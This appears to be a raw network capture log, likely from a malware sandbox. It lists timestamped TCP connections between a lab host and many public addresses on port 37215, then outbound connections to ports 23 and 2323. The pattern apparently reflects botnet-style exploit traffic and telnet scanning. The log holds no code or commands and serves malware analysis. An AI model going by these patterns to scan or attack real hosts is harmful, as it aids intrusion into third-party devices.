Nov 3, 2024 15:37:09.478806973 CET	37215	49288	156.187.67.11	192.168.2.14
Nov 3, 2024 15:37:09.478816986 CET	37215	57102	41.192.83.152	192.168.2.14
Nov 3, 2024 15:37:09.478823900 CET	37215	43110	41.22.164.49	192.168.2.14
Nov 3, 2024 15:37:09.478848934 CET	57102	37215	192.168.2.14	41.192.83.152
Nov 3, 2024 15:37:09.478885889 CET	37215	42180	197.36.137.218	192.168.2.14
Nov 3, 2024 15:37:09.478894949 CET	37215	34004	156.141.170.57	192.168.2.14
Nov 3, 2024 15:37:09.478935003 CET	42180	37215	192.168.2.14	197.36.137.218
Nov 3, 2024 15:37:09.478940010 CET	37215	46518	41.47.138.63	192.168.2.14
Nov 3, 2024 15:37:09.478950024 CET	37215	39282	197.99.83.17	192.168.2.14
Nov 3, 2024 15:37:09.478957891 CET	37215	47472	156.47.73.123	192.168.2.14
Nov 3, 2024 15:37:09.478980064 CET	39282	37215	192.168.2.14	197.99.83.17
Nov 3, 2024 15:37:09.479007959 CET	37215	37230	41.31.154.200	192.168.2.14
Nov 3, 2024 15:37:09.479017973 CET	37215	40958	156.129.68.42	192.168.2.14
Nov 3, 2024 15:37:09.479024887 CET	37215	36866	197.91.20.246	192.168.2.14
Nov 3, 2024 15:37:09.479038954 CET	37230	37215	192.168.2.14	41.31.154.200
Nov 3, 2024 15:37:09.479095936 CET	37215	41702	197.179.50.29	192.168.2.14
Nov 3, 2024 15:37:09.479105949 CET	37215	53832	156.76.218.78	192.168.2.14
Nov 3, 2024 15:37:09.479114056 CET	37215	59982	41.9.116.67	192.168.2.14
Nov 3, 2024 15:37:09.479130030 CET	41702	37215	192.168.2.14	197.179.50.29
Nov 3, 2024 15:37:09.479173899 CET	37215	36222	197.19.105.218	192.168.2.14
Nov 3, 2024 15:37:09.479183912 CET	37215	58278	41.22.80.120	192.168.2.14
Nov 3, 2024 15:37:09.479187965 CET	37215	58672	41.221.110.157	192.168.2.14
Nov 3, 2024 15:37:09.479216099 CET	37215	57694	41.53.247.62	192.168.2.14
Nov 3, 2024 15:37:09.479233027 CET	36222	37215	192.168.2.14	197.19.105.218
Nov 3, 2024 15:37:09.479254007 CET	57694	37215	192.168.2.14	41.53.247.62
Nov 3, 2024 15:37:09.479269981 CET	37215	34678	41.47.45.181	192.168.2.14
Nov 3, 2024 15:37:09.479279041 CET	37215	44078	197.171.75.149	192.168.2.14
Nov 3, 2024 15:37:09.479289055 CET	37215	51396	41.197.181.19	192.168.2.14
Nov 3, 2024 15:37:09.479304075 CET	34678	37215	192.168.2.14	41.47.45.181
Nov 3, 2024 15:37:09.479398966 CET	37215	36138	156.7.6.245	192.168.2.14
Nov 3, 2024 15:37:09.479408026 CET	37215	37230	41.31.154.200	192.168.2.14
Nov 3, 2024 15:37:09.479418993 CET	37215	37230	41.31.154.200	192.168.2.14
Nov 3, 2024 15:37:09.479427099 CET	36138	37215	192.168.2.14	156.7.6.245
Nov 3, 2024 15:37:09.479441881 CET	37215	39452	197.194.225.205	192.168.2.14
Nov 3, 2024 15:37:09.479450941 CET	37215	33076	41.20.17.178	192.168.2.14
Nov 3, 2024 15:37:09.479461908 CET	37215	40162	41.141.175.121	192.168.2.14
Nov 3, 2024 15:37:09.479477882 CET	37215	47528	41.41.17.100	192.168.2.14
Nov 3, 2024 15:37:09.479480028 CET	33076	37215	192.168.2.14	41.20.17.178
Nov 3, 2024 15:37:09.479487896 CET	37215	40618	156.163.205.82	192.168.2.14
Nov 3, 2024 15:37:09.479510069 CET	47528	37215	192.168.2.14	41.41.17.100
Nov 3, 2024 15:37:09.479554892 CET	37215	53364	41.186.69.216	192.168.2.14
Nov 3, 2024 15:37:09.479598045 CET	53364	37215	192.168.2.14	41.186.69.216
Nov 3, 2024 15:37:09.479598999 CET	37215	58774	41.113.183.13	192.168.2.14
Nov 3, 2024 15:37:09.479610920 CET	37215	46924	41.88.60.157	192.168.2.14
Nov 3, 2024 15:37:09.479628086 CET	37215	39452	197.194.225.205	192.168.2.14
Nov 3, 2024 15:37:09.479684114 CET	37215	59604	41.233.241.218	192.168.2.14
Nov 3, 2024 15:37:09.479693890 CET	37215	42944	156.153.138.184	192.168.2.14
Nov 3, 2024 15:37:09.479701996 CET	37215	46924	41.88.60.157	192.168.2.14
Nov 3, 2024 15:37:09.479727983 CET	59604	37215	192.168.2.14	41.233.241.218
Nov 3, 2024 15:37:09.479764938 CET	37215	34606	156.72.242.56	192.168.2.14
Nov 3, 2024 15:37:09.479773998 CET	37215	43014	156.101.142.160	192.168.2.14
Nov 3, 2024 15:37:09.479782104 CET	37215	57658	156.29.35.98	192.168.2.14
Nov 3, 2024 15:37:09.479850054 CET	37215	41702	197.179.50.29	192.168.2.14
Nov 3, 2024 15:37:09.479901075 CET	37215	41702	197.179.50.29	192.168.2.14
Nov 3, 2024 15:37:09.479909897 CET	37215	39282	197.99.83.17	192.168.2.14
Nov 3, 2024 15:37:09.479918957 CET	37215	55280	156.250.107.247	192.168.2.14
Nov 3, 2024 15:37:09.479954004 CET	55280	37215	192.168.2.14	156.250.107.247
Nov 3, 2024 15:37:09.479983091 CET	37215	58672	41.221.110.157	192.168.2.14
Nov 3, 2024 15:37:09.479999065 CET	37215	39282	197.99.83.17	192.168.2.14
Nov 3, 2024 15:37:09.480009079 CET	37215	50786	41.183.212.5	192.168.2.14
Nov 3, 2024 15:37:09.480051994 CET	37215	40618	156.163.205.82	192.168.2.14
Nov 3, 2024 15:37:09.480112076 CET	37215	36138	156.7.6.245	192.168.2.14
Nov 3, 2024 15:37:09.480120897 CET	37215	36138	156.7.6.245	192.168.2.14
Nov 3, 2024 15:37:09.480128050 CET	37215	38472	156.92.251.97	192.168.2.14
Nov 3, 2024 15:37:09.480138063 CET	37215	51396	41.197.181.19	192.168.2.14
Nov 3, 2024 15:37:09.480149031 CET	37215	46518	41.47.138.63	192.168.2.14
Nov 3, 2024 15:37:09.480218887 CET	37215	47528	41.41.17.100	192.168.2.14
Nov 3, 2024 15:37:09.480253935 CET	37215	50786	41.183.212.5	192.168.2.14
Nov 3, 2024 15:37:09.480302095 CET	37215	47528	41.41.17.100	192.168.2.14
Nov 3, 2024 15:37:09.480312109 CET	37215	34678	41.47.45.181	192.168.2.14
Nov 3, 2024 15:37:09.480323076 CET	37215	34678	41.47.45.181	192.168.2.14
Nov 3, 2024 15:37:09.480330944 CET	37215	34606	156.72.242.56	192.168.2.14
Nov 3, 2024 15:37:09.480341911 CET	37215	38458	197.191.179.237	192.168.2.14
Nov 3, 2024 15:37:09.480432034 CET	37215	53364	41.186.69.216	192.168.2.14
Nov 3, 2024 15:37:09.480441093 CET	37215	53364	41.186.69.216	192.168.2.14
Nov 3, 2024 15:37:09.480451107 CET	37215	55280	156.250.107.247	192.168.2.14
Nov 3, 2024 15:37:09.480488062 CET	37215	55280	156.250.107.247	192.168.2.14
Nov 3, 2024 15:37:09.480496883 CET	37215	36222	197.19.105.218	192.168.2.14
Nov 3, 2024 15:37:09.480516911 CET	37215	36222	197.19.105.218	192.168.2.14
Nov 3, 2024 15:37:09.480526924 CET	37215	57694	41.53.247.62	192.168.2.14
Nov 3, 2024 15:37:09.480550051 CET	37215	58774	41.113.183.13	192.168.2.14
Nov 3, 2024 15:37:09.480637074 CET	37215	38472	156.92.251.97	192.168.2.14
Nov 3, 2024 15:37:09.480645895 CET	37215	57694	41.53.247.62	192.168.2.14
Nov 3, 2024 15:37:09.480654001 CET	37215	59604	41.233.241.218	192.168.2.14
Nov 3, 2024 15:37:09.480664968 CET	37215	59604	41.233.241.218	192.168.2.14
Nov 3, 2024 15:37:09.480669022 CET	37215	38458	197.191.179.237	192.168.2.14
Nov 3, 2024 15:37:09.480696917 CET	37215	42180	197.36.137.218	192.168.2.14
Nov 3, 2024 15:37:09.480796099 CET	37215	42180	197.36.137.218	192.168.2.14
Nov 3, 2024 15:37:09.480806112 CET	37215	33076	41.20.17.178	192.168.2.14
Nov 3, 2024 15:37:09.480813980 CET	37215	42944	156.153.138.184	192.168.2.14
Nov 3, 2024 15:37:09.480822086 CET	37215	33076	41.20.17.178	192.168.2.14
Nov 3, 2024 15:37:09.480825901 CET	37215	43110	41.22.164.49	192.168.2.14
Nov 3, 2024 15:37:09.480887890 CET	37215	57102	41.192.83.152	192.168.2.14
Nov 3, 2024 15:37:09.480896950 CET	37215	57102	41.192.83.152	192.168.2.14
Nov 3, 2024 15:37:09.480905056 CET	37215	48092	197.105.148.66	192.168.2.14
Nov 3, 2024 15:37:09.480925083 CET	37215	48092	197.105.148.66	192.168.2.14
Nov 3, 2024 15:37:09.480932951 CET	37215	59982	41.9.116.67	192.168.2.14
Nov 3, 2024 15:37:09.481035948 CET	37215	60342	41.217.153.137	192.168.2.14
Nov 3, 2024 15:37:09.481045008 CET	37215	45568	197.187.1.98	192.168.2.14
Nov 3, 2024 15:37:09.481051922 CET	37215	60342	41.217.153.137	192.168.2.14
Nov 3, 2024 15:37:09.481061935 CET	37215	51558	197.146.115.42	192.168.2.14
Nov 3, 2024 15:37:09.481070042 CET	37215	51558	197.146.115.42	192.168.2.14
Nov 3, 2024 15:37:09.481081009 CET	37215	43014	156.101.142.160	192.168.2.14
Nov 3, 2024 15:37:09.481168985 CET	37215	40162	41.141.175.121	192.168.2.14
Nov 3, 2024 15:37:09.481178045 CET	37215	38920	197.232.152.222	192.168.2.14
Nov 3, 2024 15:37:09.481188059 CET	37215	38920	197.232.152.222	192.168.2.14
Nov 3, 2024 15:37:09.481195927 CET	37215	54724	41.52.246.8	192.168.2.14
Nov 3, 2024 15:37:09.481204033 CET	37215	54724	41.52.246.8	192.168.2.14
Nov 3, 2024 15:37:09.481215000 CET	37215	53832	156.76.218.78	192.168.2.14
Nov 3, 2024 15:37:09.481225967 CET	37215	39846	197.168.30.174	192.168.2.14
Nov 3, 2024 15:37:09.481270075 CET	37215	39846	197.168.30.174	192.168.2.14
Nov 3, 2024 15:37:09.481278896 CET	37215	38146	156.170.219.169	192.168.2.14
Nov 3, 2024 15:37:09.481287956 CET	37215	38146	156.170.219.169	192.168.2.14
Nov 3, 2024 15:37:09.481317997 CET	37215	58278	41.22.80.120	192.168.2.14
Nov 3, 2024 15:37:09.481401920 CET	37215	53218	197.115.233.122	192.168.2.14
Nov 3, 2024 15:37:09.481410980 CET	37215	53218	197.115.233.122	192.168.2.14
Nov 3, 2024 15:37:09.481419086 CET	37215	54374	156.255.233.107	192.168.2.14
Nov 3, 2024 15:37:09.481426954 CET	37215	54374	156.255.233.107	192.168.2.14
Nov 3, 2024 15:37:09.481452942 CET	37215	44078	197.171.75.149	192.168.2.14
Nov 3, 2024 15:37:09.481507063 CET	37215	48004	41.170.228.200	192.168.2.14
Nov 3, 2024 15:37:09.481515884 CET	37215	48004	41.170.228.200	192.168.2.14
Nov 3, 2024 15:37:09.481525898 CET	37215	45648	41.63.131.123	192.168.2.14
Nov 3, 2024 15:37:09.481534004 CET	37215	45648	41.63.131.123	192.168.2.14
Nov 3, 2024 15:37:09.481553078 CET	37215	40958	156.129.68.42	192.168.2.14
Nov 3, 2024 15:37:09.481611013 CET	37215	47472	156.47.73.123	192.168.2.14
Nov 3, 2024 15:37:09.481625080 CET	37215	37898	156.70.142.30	192.168.2.14
Nov 3, 2024 15:37:09.481710911 CET	37215	49288	156.187.67.11	192.168.2.14
Nov 3, 2024 15:37:09.481719971 CET	37215	37898	156.70.142.30	192.168.2.14
Nov 3, 2024 15:37:09.481730938 CET	37215	46460	156.160.136.145	192.168.2.14
Nov 3, 2024 15:37:09.481751919 CET	37215	33714	197.201.134.233	192.168.2.14
Nov 3, 2024 15:37:09.481760979 CET	37215	46460	156.160.136.145	192.168.2.14
Nov 3, 2024 15:37:09.481791973 CET	37215	59920	156.93.27.183	192.168.2.14
Nov 3, 2024 15:37:09.481898069 CET	37215	40798	41.18.15.227	192.168.2.14
Nov 3, 2024 15:37:09.481944084 CET	37215	37416	197.163.97.84	192.168.2.14
Nov 3, 2024 15:37:09.481951952 CET	37215	37416	197.163.97.84	192.168.2.14
Nov 3, 2024 15:37:09.481981993 CET	37215	57034	197.69.217.164	192.168.2.14
Nov 3, 2024 15:37:09.481991053 CET	37215	35842	156.83.90.144	192.168.2.14
Nov 3, 2024 15:37:09.482011080 CET	37215	57034	197.69.217.164	192.168.2.14
Nov 3, 2024 15:37:09.482019901 CET	37215	50710	197.251.254.108	192.168.2.14
Nov 3, 2024 15:37:09.482039928 CET	37215	34004	156.141.170.57	192.168.2.14
Nov 3, 2024 15:37:09.482101917 CET	37215	45658	41.62.171.184	192.168.2.14
Nov 3, 2024 15:37:09.482142925 CET	37215	45658	41.62.171.184	192.168.2.14
Nov 3, 2024 15:37:09.482151985 CET	37215	52618	197.81.39.24	192.168.2.14
Nov 3, 2024 15:37:09.482160091 CET	37215	42028	41.115.87.47	192.168.2.14
Nov 3, 2024 15:37:09.482167959 CET	37215	42028	41.115.87.47	192.168.2.14
Nov 3, 2024 15:37:09.482186079 CET	37215	58442	41.193.122.172	192.168.2.14
Nov 3, 2024 15:37:09.482194901 CET	37215	36866	197.91.20.246	192.168.2.14
Nov 3, 2024 15:37:09.482290030 CET	37215	58442	41.193.122.172	192.168.2.14
Nov 3, 2024 15:37:09.482299089 CET	37215	46676	197.237.82.82	192.168.2.14
Nov 3, 2024 15:37:09.482306957 CET	37215	46676	197.237.82.82	192.168.2.14
Nov 3, 2024 15:37:09.482319117 CET	37215	59452	41.158.29.151	192.168.2.14
Nov 3, 2024 15:37:09.482327938 CET	37215	40892	41.9.123.205	192.168.2.14
Nov 3, 2024 15:37:09.482356071 CET	37215	35662	197.19.217.137	192.168.2.14
Nov 3, 2024 15:37:09.482357025 CET	59452	37215	192.168.2.14	41.158.29.151
Nov 3, 2024 15:37:09.482378006 CET	37215	40892	41.9.123.205	192.168.2.14
Nov 3, 2024 15:37:09.482388020 CET	37215	45506	156.18.74.155	192.168.2.14
Nov 3, 2024 15:37:09.482388973 CET	35662	37215	192.168.2.14	197.19.217.137
Nov 3, 2024 15:37:09.482405901 CET	37215	45506	156.18.74.155	192.168.2.14
Nov 3, 2024 15:37:09.482482910 CET	37215	58422	41.29.158.199	192.168.2.14
Nov 3, 2024 15:37:09.482516050 CET	37215	58422	41.29.158.199	192.168.2.14
Nov 3, 2024 15:37:09.482525110 CET	37215	36828	41.148.99.160	192.168.2.14
Nov 3, 2024 15:37:09.482534885 CET	37215	36828	41.148.99.160	192.168.2.14
Nov 3, 2024 15:37:09.482546091 CET	37215	36684	197.53.18.10	192.168.2.14
Nov 3, 2024 15:37:09.482578993 CET	36684	37215	192.168.2.14	197.53.18.10
Nov 3, 2024 15:37:09.482613087 CET	37215	34444	197.26.18.142	192.168.2.14
Nov 3, 2024 15:37:09.482672930 CET	37215	52630	41.91.188.230	192.168.2.14
Nov 3, 2024 15:37:09.482682943 CET	37215	34444	197.26.18.142	192.168.2.14
Nov 3, 2024 15:37:09.482691050 CET	37215	58394	156.35.224.164	192.168.2.14
Nov 3, 2024 15:37:09.482700109 CET	37215	58394	156.35.224.164	192.168.2.14
Nov 3, 2024 15:37:09.482708931 CET	37215	47240	156.184.33.107	192.168.2.14
Nov 3, 2024 15:37:09.482711077 CET	52630	37215	192.168.2.14	41.91.188.230
Nov 3, 2024 15:37:09.482733965 CET	47240	37215	192.168.2.14	156.184.33.107
Nov 3, 2024 15:37:09.482824087 CET	37215	42642	156.224.87.198	192.168.2.14
Nov 3, 2024 15:37:09.482831955 CET	37215	45990	156.102.183.76	192.168.2.14
Nov 3, 2024 15:37:09.482840061 CET	37215	45990	156.102.183.76	192.168.2.14
Nov 3, 2024 15:37:09.482847929 CET	37215	38904	41.15.89.96	192.168.2.14
Nov 3, 2024 15:37:09.482856035 CET	42642	37215	192.168.2.14	156.224.87.198
Nov 3, 2024 15:37:09.482857943 CET	37215	38904	41.15.89.96	192.168.2.14
Nov 3, 2024 15:37:09.482867956 CET	37215	38298	197.243.10.148	192.168.2.14
Nov 3, 2024 15:37:09.482894897 CET	38298	37215	192.168.2.14	197.243.10.148
Nov 3, 2024 15:37:09.482919931 CET	37215	43714	156.225.171.173	192.168.2.14
Nov 3, 2024 15:37:09.482929945 CET	37215	33800	156.50.150.233	192.168.2.14
Nov 3, 2024 15:37:09.482937098 CET	37215	33800	156.50.150.233	192.168.2.14
Nov 3, 2024 15:37:09.482945919 CET	37215	37540	156.33.248.119	192.168.2.14
Nov 3, 2024 15:37:09.482954025 CET	43714	37215	192.168.2.14	156.225.171.173
Nov 3, 2024 15:37:09.482954979 CET	37215	37540	156.33.248.119	192.168.2.14
Nov 3, 2024 15:37:09.482964039 CET	37215	42430	197.241.168.45	192.168.2.14
Nov 3, 2024 15:37:09.482989073 CET	42430	37215	192.168.2.14	197.241.168.45
Nov 3, 2024 15:37:09.483020067 CET	37215	41986	197.186.99.208	192.168.2.14
Nov 3, 2024 15:37:09.483028889 CET	37215	41986	197.186.99.208	192.168.2.14
Nov 3, 2024 15:37:09.483036995 CET	37215	42430	197.241.168.45	192.168.2.14
Nov 3, 2024 15:37:09.483051062 CET	37215	42406	41.178.227.250	192.168.2.14
Nov 3, 2024 15:37:09.483059883 CET	37215	42430	197.241.168.45	192.168.2.14
Nov 3, 2024 15:37:09.483082056 CET	42406	37215	192.168.2.14	41.178.227.250
Nov 3, 2024 15:37:09.483108044 CET	37215	59452	41.158.29.151	192.168.2.14
Nov 3, 2024 15:37:09.483117104 CET	37215	59452	41.158.29.151	192.168.2.14
Nov 3, 2024 15:37:09.483120918 CET	37215	38298	197.243.10.148	192.168.2.14
Nov 3, 2024 15:37:09.483129025 CET	37215	38298	197.243.10.148	192.168.2.14
Nov 3, 2024 15:37:09.483150005 CET	37215	42642	156.224.87.198	192.168.2.14
Nov 3, 2024 15:37:09.483190060 CET	37215	42642	156.224.87.198	192.168.2.14
Nov 3, 2024 15:37:09.483197927 CET	37215	52630	41.91.188.230	192.168.2.14
Nov 3, 2024 15:37:09.483206034 CET	37215	52630	41.91.188.230	192.168.2.14
Nov 3, 2024 15:37:09.483273983 CET	37215	35662	197.19.217.137	192.168.2.14
Nov 3, 2024 15:37:09.483283043 CET	37215	35662	197.19.217.137	192.168.2.14
Nov 3, 2024 15:37:09.483290911 CET	37215	42406	41.178.227.250	192.168.2.14
Nov 3, 2024 15:37:09.483299971 CET	37215	42406	41.178.227.250	192.168.2.14
Nov 3, 2024 15:37:09.483398914 CET	37215	43714	156.225.171.173	192.168.2.14
Nov 3, 2024 15:37:09.483407974 CET	37215	43714	156.225.171.173	192.168.2.14
Nov 3, 2024 15:37:09.483412027 CET	37215	36684	197.53.18.10	192.168.2.14
Nov 3, 2024 15:37:09.483419895 CET	37215	36684	197.53.18.10	192.168.2.14
Nov 3, 2024 15:37:09.483740091 CET	37215	47240	156.184.33.107	192.168.2.14
Nov 3, 2024 15:37:09.483748913 CET	37215	47240	156.184.33.107	192.168.2.14
Nov 3, 2024 15:37:09.483802080 CET	37215	51398	41.183.156.167	192.168.2.14
Nov 3, 2024 15:37:09.483809948 CET	37215	41192	156.87.37.60	192.168.2.14
Nov 3, 2024 15:37:09.483814001 CET	37215	38502	41.43.89.156	192.168.2.14
Nov 3, 2024 15:37:09.483818054 CET	37215	60452	197.122.28.224	192.168.2.14
Nov 3, 2024 15:37:09.483844042 CET	37215	45366	197.252.165.31	192.168.2.14
Nov 3, 2024 15:37:09.483851910 CET	37215	42016	41.227.204.54	192.168.2.14
Nov 3, 2024 15:37:09.483856916 CET	37215	57782	197.51.211.151	192.168.2.14
Nov 3, 2024 15:37:09.483865023 CET	37215	60308	197.54.205.67	192.168.2.14
Nov 3, 2024 15:37:09.483882904 CET	37215	41220	197.161.115.17	192.168.2.14
Nov 3, 2024 15:37:09.483891010 CET	37215	54374	156.255.233.107	192.168.2.14
Nov 3, 2024 15:37:09.483895063 CET	37215	46676	197.237.82.82	192.168.2.14
Nov 3, 2024 15:37:09.483908892 CET	37215	37540	156.33.248.119	192.168.2.14
Nov 3, 2024 15:37:09.483916998 CET	37215	48004	41.170.228.200	192.168.2.14
Nov 3, 2024 15:37:09.483925104 CET	37215	37416	197.163.97.84	192.168.2.14
Nov 3, 2024 15:37:09.483942986 CET	37215	57034	197.69.217.164	192.168.2.14
Nov 3, 2024 15:37:09.483951092 CET	37215	33800	156.50.150.233	192.168.2.14
Nov 3, 2024 15:37:09.483958960 CET	37215	45648	41.63.131.123	192.168.2.14
Nov 3, 2024 15:37:09.483967066 CET	37215	37898	156.70.142.30	192.168.2.14
Nov 3, 2024 15:37:09.483975887 CET	37215	38146	156.170.219.169	192.168.2.14
Nov 3, 2024 15:37:09.483987093 CET	37215	45506	156.18.74.155	192.168.2.14
Nov 3, 2024 15:37:09.484205008 CET	37215	53218	197.115.233.122	192.168.2.14
Nov 3, 2024 15:37:09.484217882 CET	37215	45990	156.102.183.76	192.168.2.14
Nov 3, 2024 15:37:09.484338999 CET	37215	58422	41.29.158.199	192.168.2.14
Nov 3, 2024 15:37:09.484348059 CET	37215	51558	197.146.115.42	192.168.2.14
Nov 3, 2024 15:37:09.484355927 CET	37215	38920	197.232.152.222	192.168.2.14
Nov 3, 2024 15:37:09.484364033 CET	37215	58442	41.193.122.172	192.168.2.14
Nov 3, 2024 15:37:09.484371901 CET	37215	58394	156.35.224.164	192.168.2.14
Nov 3, 2024 15:37:09.484381914 CET	37215	34444	197.26.18.142	192.168.2.14
Nov 3, 2024 15:37:09.484390020 CET	37215	45658	41.62.171.184	192.168.2.14
Nov 3, 2024 15:37:09.484397888 CET	37215	36828	41.148.99.160	192.168.2.14
Nov 3, 2024 15:37:09.484491110 CET	37215	60342	41.217.153.137	192.168.2.14
Nov 3, 2024 15:37:09.484499931 CET	37215	54724	41.52.246.8	192.168.2.14
Nov 3, 2024 15:37:09.484508038 CET	37215	48092	197.105.148.66	192.168.2.14
Nov 3, 2024 15:37:09.484515905 CET	37215	39846	197.168.30.174	192.168.2.14
Nov 3, 2024 15:37:09.484524965 CET	37215	46460	156.160.136.145	192.168.2.14
Nov 3, 2024 15:37:09.484532118 CET	37215	41986	197.186.99.208	192.168.2.14
Nov 3, 2024 15:37:09.484539986 CET	37215	38904	41.15.89.96	192.168.2.14
Nov 3, 2024 15:37:09.484548092 CET	37215	40892	41.9.123.205	192.168.2.14
Nov 3, 2024 15:37:09.484555960 CET	37215	42028	41.115.87.47	192.168.2.14
Nov 3, 2024 15:37:09.484571934 CET	37215	57102	41.192.83.152	192.168.2.14
Nov 3, 2024 15:37:09.484579086 CET	37215	42180	197.36.137.218	192.168.2.14
Nov 3, 2024 15:37:09.484586954 CET	37215	39282	197.99.83.17	192.168.2.14
Nov 3, 2024 15:37:09.484601021 CET	37215	37230	41.31.154.200	192.168.2.14
Nov 3, 2024 15:37:09.484605074 CET	37215	41702	197.179.50.29	192.168.2.14
Nov 3, 2024 15:37:09.484613895 CET	37215	36222	197.19.105.218	192.168.2.14
Nov 3, 2024 15:37:09.484622955 CET	37215	57694	41.53.247.62	192.168.2.14
Nov 3, 2024 15:37:09.484638929 CET	37215	34678	41.47.45.181	192.168.2.14
Nov 3, 2024 15:37:09.484647036 CET	37215	36138	156.7.6.245	192.168.2.14
Nov 3, 2024 15:37:09.484653950 CET	37215	33076	41.20.17.178	192.168.2.14
Nov 3, 2024 15:37:09.484663963 CET	37215	47528	41.41.17.100	192.168.2.14
Nov 3, 2024 15:37:09.484673023 CET	37215	53364	41.186.69.216	192.168.2.14
Nov 3, 2024 15:37:09.484680891 CET	37215	59604	41.233.241.218	192.168.2.14
Nov 3, 2024 15:37:09.484723091 CET	37215	55280	156.250.107.247	192.168.2.14
Nov 3, 2024 15:37:09.487159014 CET	37215	59452	41.158.29.151	192.168.2.14
Nov 3, 2024 15:37:09.487166882 CET	37215	35662	197.19.217.137	192.168.2.14
Nov 3, 2024 15:37:09.487329006 CET	37215	36684	197.53.18.10	192.168.2.14
Nov 3, 2024 15:37:09.487391949 CET	37215	52630	41.91.188.230	192.168.2.14
Nov 3, 2024 15:37:09.487402916 CET	37215	47240	156.184.33.107	192.168.2.14
Nov 3, 2024 15:37:09.487571001 CET	37215	42642	156.224.87.198	192.168.2.14
Nov 3, 2024 15:37:09.487725973 CET	37215	38298	197.243.10.148	192.168.2.14
Nov 3, 2024 15:37:09.487734079 CET	37215	43714	156.225.171.173	192.168.2.14
Nov 3, 2024 15:37:09.487768888 CET	37215	42430	197.241.168.45	192.168.2.14
Nov 3, 2024 15:37:09.487838984 CET	37215	42406	41.178.227.250	192.168.2.14
Nov 3, 2024 15:37:09.495480061 CET	36201	2323	192.168.2.14	63.163.23.69
Nov 3, 2024 15:37:09.495480061 CET	36201	23	192.168.2.14	198.215.158.61
Nov 3, 2024 15:37:09.495485067 CET	36201	23	192.168.2.14	130.175.199.141
Nov 3, 2024 15:37:09.495496988 CET	36201	23	192.168.2.14	188.255.40.94
Nov 3, 2024 15:37:09.495510101 CET	36201	23	192.168.2.14	177.48.103.92
Nov 3, 2024 15:37:09.495511055 CET	36201	23	192.168.2.14	78.32.11.123
Nov 3, 2024 15:37:09.495511055 CET	36201	23	192.168.2.14	81.165.242.11
Nov 3, 2024 15:37:09.495512009 CET	36201	23	192.168.2.14	35.192.129.165
Nov 3, 2024 15:37:09.495511055 CET	36201	23	192.168.2.14	8.92.107.21
Nov 3, 2024 15:37:09.495511055 CET	36201	23	192.168.2.14	72.194.99.98
Nov 3, 2024 15:37:09.495515108 CET	36201	2323	192.168.2.14	93.42.117.82
Nov 3, 2024 15:37:09.495534897 CET	36201	23	192.168.2.14	185.62.150.95
Nov 3, 2024 15:37:09.495536089 CET	36201	23	192.168.2.14	2.224.110.160
Nov 3, 2024 15:37:09.495538950 CET	36201	23	192.168.2.14	187.177.202.76
Nov 3, 2024 15:37:09.495539904 CET	36201	23	192.168.2.14	87.149.124.152
Nov 3, 2024 15:37:09.495583057 CET	36201	23	192.168.2.14	99.123.61.238
Nov 3, 2024 15:37:09.495583057 CET	36201	23	192.168.2.14	189.198.51.78
Nov 3, 2024 15:37:09.495583057 CET	36201	23	192.168.2.14	175.119.32.186
Nov 3, 2024 15:37:09.495583057 CET	36201	23	192.168.2.14	75.241.9.136
Nov 3, 2024 15:37:09.495583057 CET	36201	23	192.168.2.14	204.225.234.52
Nov 3, 2024 15:37:09.495589018 CET	36201	2323	192.168.2.14	193.89.89.191
Nov 3, 2024 15:37:09.495589018 CET	36201	23	192.168.2.14	182.221.94.147
Nov 3, 2024 15:37:09.495589972 CET	36201	23	192.168.2.14	32.148.167.125
Nov 3, 2024 15:37:09.495589972 CET	36201	23	192.168.2.14	95.33.23.86
Nov 3, 2024 15:37:09.495589972 CET	36201	23	192.168.2.14	194.112.73.112
Nov 3, 2024 15:37:09.495589972 CET	36201	23	192.168.2.14	14.54.152.173
Nov 3, 2024 15:37:09.495593071 CET	36201	23	192.168.2.14	87.191.97.60
Nov 3, 2024 15:37:09.495593071 CET	36201	23	192.168.2.14	37.220.251.196
Nov 3, 2024 15:37:09.495594025 CET	36201	23	192.168.2.14	183.71.105.198
Nov 3, 2024 15:37:09.495594025 CET	36201	23	192.168.2.14	177.166.113.210
Nov 3, 2024 15:37:09.495594025 CET	36201	23	192.168.2.14	75.238.47.83
Nov 3, 2024 15:37:09.495599985 CET	36201	2323	192.168.2.14	86.58.114.10
Nov 3, 2024 15:37:09.495599985 CET	36201	23	192.168.2.14	155.114.72.246
Nov 3, 2024 15:37:09.495599985 CET	36201	23	192.168.2.14	166.73.116.252
Nov 3, 2024 15:37:09.495604038 CET	36201	23	192.168.2.14	143.245.240.149
Nov 3, 2024 15:37:09.495605946 CET	36201	23	192.168.2.14	67.110.56.23
Nov 3, 2024 15:37:09.495605946 CET	36201	23	192.168.2.14	167.25.127.58
Nov 3, 2024 15:37:09.495606899 CET	36201	23	192.168.2.14	114.165.0.110
Nov 3, 2024 15:37:09.495608091 CET	36201	23	192.168.2.14	94.10.23.63
Nov 3, 2024 15:37:09.495606899 CET	36201	23	192.168.2.14	99.199.122.85
Nov 3, 2024 15:37:09.495608091 CET	36201	23	192.168.2.14	176.181.28.235
Nov 3, 2024 15:37:09.495609045 CET	36201	23	192.168.2.14	70.69.144.143
Nov 3, 2024 15:37:09.495615959 CET	36201	23	192.168.2.14	40.175.173.8
Nov 3, 2024 15:37:09.495615959 CET	36201	23	192.168.2.14	67.129.170.223
Nov 3, 2024 15:37:09.495618105 CET	36201	2323	192.168.2.14	166.180.16.211
Nov 3, 2024 15:37:09.495618105 CET	36201	23	192.168.2.14	187.1.18.158
Nov 3, 2024 15:37:09.495621920 CET	36201	23	192.168.2.14	142.79.189.45
Nov 3, 2024 15:37:09.495624065 CET	36201	2323	192.168.2.14	147.11.192.79
Nov 3, 2024 15:37:09.495624065 CET	36201	23	192.168.2.14	72.100.156.124
Nov 3, 2024 15:37:09.495625973 CET	36201	23	192.168.2.14	118.210.44.136
Nov 3, 2024 15:37:09.495625973 CET	36201	23	192.168.2.14	146.6.88.152
Nov 3, 2024 15:37:09.495625973 CET	36201	23	192.168.2.14	123.96.215.215
Nov 3, 2024 15:37:09.495626926 CET	36201	23	192.168.2.14	198.61.90.24
Nov 3, 2024 15:37:09.495625973 CET	36201	23	192.168.2.14	126.182.123.139
Nov 3, 2024 15:37:09.495635033 CET	36201	23	192.168.2.14	163.97.105.191
Nov 3, 2024 15:37:09.495635986 CET	36201	23	192.168.2.14	109.180.211.114
Nov 3, 2024 15:37:09.495635986 CET	36201	23	192.168.2.14	158.138.149.84
Nov 3, 2024 15:37:09.495636940 CET	36201	23	192.168.2.14	187.159.123.65
Nov 3, 2024 15:37:09.495636940 CET	36201	23	192.168.2.14	13.127.226.223
